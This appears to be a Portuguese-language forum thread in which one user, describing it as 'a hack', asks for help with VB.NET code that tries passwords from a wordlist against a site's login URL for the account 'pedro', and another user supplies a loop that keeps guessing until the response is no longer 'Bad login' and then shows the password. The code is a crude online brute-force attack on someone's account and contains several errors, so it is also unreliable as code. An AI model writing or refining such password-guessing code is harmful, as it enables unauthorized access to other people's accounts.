Brutus Force

[latlogin]

Boa tarde estou fazendo um hack e ele testa a senha ate ai tudo bem, mas quero que por exemplo ele mude para a 2 linha caso nao for a senha esta aqui o codigo:

Dim internet As New WebClient
Dim linhas As String() = RichTextBox1.Lines

If internet.DownloadString("site.com/login?pedro&" linhas(1)) = "Bad login" Then


Else

MsgBox("Senha Achada!!!")
End If

E tambem outra duvida caso ache como faz para ele exibir a linha que foi achado o código?

[Zim_Invasor]

Nao sei se esse seu codigo realmente realiza um brute force, mais vou responder suas perguntas, o programa ficaria assim:

Dim internet As New WebClient
Dim linhas As String() = RichTextBox1.Lines
Dim num as Interger = 1;

while(true)
If internet.DownloadString("site.com/login?pedro&" linhas(num)) = "Bad login" Then
num += 1;
Else
MsgBox("Senha Achada!!! A senha e: "+linha(1).toString) 'n sei se o toString e realmente necessário
Exit While
End If
end While